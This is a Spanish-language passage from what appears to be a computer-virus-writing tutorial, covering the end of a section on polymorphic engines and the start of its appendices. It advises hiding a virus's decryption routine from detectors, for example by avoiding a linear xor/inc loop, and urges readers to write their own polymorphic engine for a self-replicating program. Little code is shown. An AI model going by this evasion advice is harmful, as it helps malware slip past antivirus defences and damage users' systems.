difícil a quien intente detectar nuestro virus; tendremos que centrar entonces mucho
esfuerzo en hacer que las instrucciones críticas, las que desencriptan nuestro virus, se
oculten de la mejor forma posible (por ejemplo, Mental Driller sostiene con mucha lógica que
se debe evitar desencriptar linealmente el virus para evitar levantar sospechas, es decir, no
basarlo en un //xor [esi]/inc// esi sino en una forma más compleja de ir recorriendo todo el
virus.
Conclusiones
Sin embargo, no he dado código más que para ilustrar pequeñas cosas; pero lo hago porque
creo que la programación de un engine polimórfico, a la par que una de las cosas más difíciles
de hacer cuando se lleva a cabo en serio, es de las más personales y gratificantes con las que
podemos atrevernos escribiendo un autorreplicante. He pretendido hacer que se entienda
como funcionan; con esto en la cabeza, la mejor opción es programar uno desde cero con
ideas propias. Es posible que se descubra o se utilice algo que a nadie se le había ocurrido
aún.
18 - Apéndices
Documentación en la Red
Libros interesantes
Escrito por Matt Pietrek (ojo, aseguraos si lo conseguís del autor, que luego han surgido a su
sombra libros como Windows 2000 Programming Secrets y Windows 98 Programming Secrets
que no tienen nada a nivel kernel y son las típicas guías de C++ y ActiveX), Windows 95
System Programming Secrets es quizá la mayor joya que se ha escrito en general para Win32,
este libro lamentablemente ya no se edita aunque pueden encontrarse algunas de sus partes
desperdigadas por